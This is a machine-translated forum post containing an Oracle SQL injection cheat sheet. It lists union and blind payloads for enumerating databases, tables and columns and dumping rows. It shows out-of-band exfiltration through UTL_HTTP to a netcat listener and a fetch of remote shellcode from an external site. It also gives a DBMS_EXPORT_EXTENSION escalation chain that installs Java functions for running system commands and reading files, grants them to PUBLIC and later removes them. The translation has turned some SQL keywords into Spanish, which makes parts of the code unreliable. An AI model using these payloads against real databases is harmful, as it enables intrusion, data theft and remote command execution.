Este artículo es un artículo espejo de traducción automática, por favor haga clic aquí para saltar al artículo original.

Vista: 11931|Respuesta: 0

[Comunicación segura] SQL Injection notes oráculo

[Copiar enlace]
Publicado en 24/1/2015 12:58:17 | | |
Esta publicación fue editada por última vez por test el 24-1-2015 a las 13:01

Comentario: --
No se soporta la ejecución de múltiples oraciones, y se admiten consultas federadas
Los nombres de bases de datos, nombres de tablas y nombres de columnas están todos en mayúscula.


longitud(campo)
ascii(substr(campo, N, 1))


y (seleccionar count(*) de dual)>0 -- Determinar si es oráculo o no

Orden de N--

y unión 1=2 seleccionar nulo, nulo,.....,nulo desde dual—reemplazar nulo por N o 'N'

y 1=2 unión select null, (sentencia sql) ,.....,nula de dual -- cambiar a (sentencia sql) en 'N'

y (seleccionar conteo(*) de all_objects donde object_name='UTL_HTTP')>0 -- Determinar si el UTL_HTTP es compatible (se conoce la IP de exportación)

y UTL_HTTP.request('http://LocalIP:port'|| (Declaración SQL)) =1-- Enviar mensajes remotamente a la escucha local, local nc -vv -l -p 1234


Sentencias SQL
Selecciona banner desde sys.v_$version, donde rownum=1 para consultar la versión del oráculo
select member from v$logfile donde rownum=1 Consulta la ruta del archivo de log (Windows o Linux)
select utl_inaddr.get_host_address de dual para consultar la IP de escucha de la base de datos
Selecciona instance_name desde v$instance para consultar el sid
seleccione nombre de v$database Consulta el nombre actual de la base de datos
seleccionar sys_context ('userenv', 'current_user') entre usuarios de bases de datos de consulta dual
selecciona * desde session_roles donde rownum=1 para consultar los permisos de usuario actuales
selecciona * de session_roles donde rownum=1 [y rol<>'nombre del primer permiso']



selecciona table_name de user_tables donde rownum=1 El primer segmento de la tabla de la base de datos actual
selecciona table_name||','|| tablespace_name de user_tables donde rownum=1 Primer segmento de tabla, base de datos (para verificación, puede que no sea v$database)
selecciona table_name de user_tables donde rownum=1 y table_name<>'primer segmento de tabla' El segundo segmento de tabla de la base de datos actual

selecciona column_name de user_tab_columns donde rownum=1 y table_name='Segmento de la tabla' El primer campo correspondiente al nombre de la tabla
selecciona column_name de user_tab_columns donde rownum=1 y table_name='Segmento de la tabla' y column_name<>'Primer campo' El segundo campo correspondiente al nombre de la tabla

Seleccione el campo del segmento de la tabla donde rownum=1 viola el contenido de la primera línea
Seleccione el campo del segmento de la tabla donde rownum=1 y el campo <> 'contenido de primera línea' expone el contenido de la segunda línea


Biblioteca cruzada
selecciona propietario de all_tables donde rownum=1 consulta el primer nombre de base de datos
selecciona propietario de all_tables donde rownum=1 y propietario<> 'Primer nombre de base de datos' para consultar el segundo nombre de base de datos

selecciona table_name de all_tables donde rownum=1 y owner='nombre de la base de datos' Consulta el nombre de la primera tabla de la base de datos correspondiente
Selecciona table_name de all_tables donde rownum=1 y owner='nombre de la base de datos' y table_name<>'nombre de la primera tabla' para consultar el nombre de la segunda tabla de la base de datos correspondiente

selecciona column_name de all_tab_columns donde rownum=1 y owner='nombre de la base de datos' y table_name='segmento de la tabla' El primer campo correspondiente al nombre de la tabla
selecciona column_name de all_tab_columns donde rownum=1 y owner='nombre de la base de datos' y table_name='segmento de tabla' y column_name<>'primer campo' El segundo campo correspondiente al nombre de la tabla

Selecciona campo desde la base de datos. segmento de tabla donde rownum=1 viola el contenido de la primera línea
Selecciona campo desde la base de datos. El segmento de la tabla donde rownum=1 y el campo <> 'Contenido de primera línea' viola el contenido de la segunda fila





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); fin de varias sentencias; --','SYS',0,'1',0)--

Si 'es escapado, se usa chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(cap(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Varias afirmaciones || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Si varias frases son demasiado largas, puedes escribir la declaración en el archivo web y usar utl_http.request para recuperarla.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Crear un paquete JAVA SecTest
runCMD se utiliza para ejecutar comandos del sistema
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE'' crear o reemplazar y compilar el código fuente Java llamado "SecTest" como importar java.io.*; la clase pública SecTest extiende Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=miLector.Línearead())!=nulo) str+=stemp+"\n"; miLector.close(); devolver fuerza; }catch(Exception e){return e.toString(); }}}''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--

readFile se utiliza para leer el archivo
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE" DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE'' crear o reemplazar y compilar el código fuente Java llamado "SecTest" como importar java.io.*; la clase pública SecTest extiende Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=miLector.Línearead())!=nulo) str+=stemp+"\n"; miLector.close(); devolver fuerza; }catch(Exception e){return e.toString(); }}}''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--



Conceder permisos Java
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''comenzar dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<TODOS LOS ARCHIVOS>>'''''''',''''''''ejecutar''''''''); fin; ''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--



Crear una función
Función SecRunCMD
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''' crear o reemplazar función SecRunCMD(p_cmd en varchar2) return varchar2 como lenguaje java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--

Función SecReadFile
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATA '''' crear o reemplazar función SecReadFile(nombre de archivo en varchar2) devolver varchar2 como lenguaje, nombre java''''''''SecTest.readFile(java.lang.String) devolver Cadena' '''''''; ''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--



Conceder permiso para realizar la función pública
A SecRunCMD se le conceden permisos
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; COMENZAR EJECUTAR INMEDIATAMENTE '''conceder todo en SecRunCMD al público'''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--

SecReadFile
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATA '''concede todo en SecReadFile al público'''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--



Detecta si la función fue creada con éxito
y (seleccione conteo(*) de all_objects donde object_name='SECRUNCMD')>0--
y (seleccionar count(*) de all_objects donde object_name='SECREADFILE')>0--



Ejecutar la orden
y '1'<> (selecciona sys. SecRunCMD('Ejecutar comando') de dual)--
y '1'<> (selecciona sys. SecReadFile('dirección física del archivo') de dual)--
o
y 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null from dual--
y 1=2 union select null,...,sys. SecReadFile('dirección física del archivo'),...,nulo de dual--
o
y '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecRunCMD('Ejecutar comando'),' ',' '),'\n',' ')) de dual)--
y '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecReadFile('Dirección física del archivo'),' ',' ','\n',' ')) de dual)--



Función de eliminar
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''función drop SecRunCMD''''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--
y '1'<>'a'|| (selecciona SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); EJECUTAR INMEDIATAMENTE ''DECLARAR PRAGMA AUTONOMOUS_TRANSACTION; INICIAR EJECUTAR INMEDIATAMENTE '''función drop SecReadFile'''; FIN; ''; FIN; --','SYS',0,'1',0) de dual)--




Anterior:¿Puedo solicitar moderación? ¿Qué condiciones necesito?
Próximo:ORALCE obtiene el nombre de host y la dirección IP
Renuncia:
Todo el software, materiales de programación o artículos publicados por Code Farmer Network son únicamente para fines de aprendizaje e investigación; El contenido anterior no se utilizará con fines comerciales o ilegales; de lo contrario, los usuarios asumirán todas las consecuencias. La información de este sitio proviene de Internet, y las disputas de derechos de autor no tienen nada que ver con este sitio. Debes eliminar completamente el contenido anterior de tu ordenador en un plazo de 24 horas desde la descarga. Si te gusta el programa, por favor apoya el software genuino, compra el registro y obtén mejores servicios genuinos. Si hay alguna infracción, por favor contáctanos por correo electrónico.

Mail To:help@itsvse.com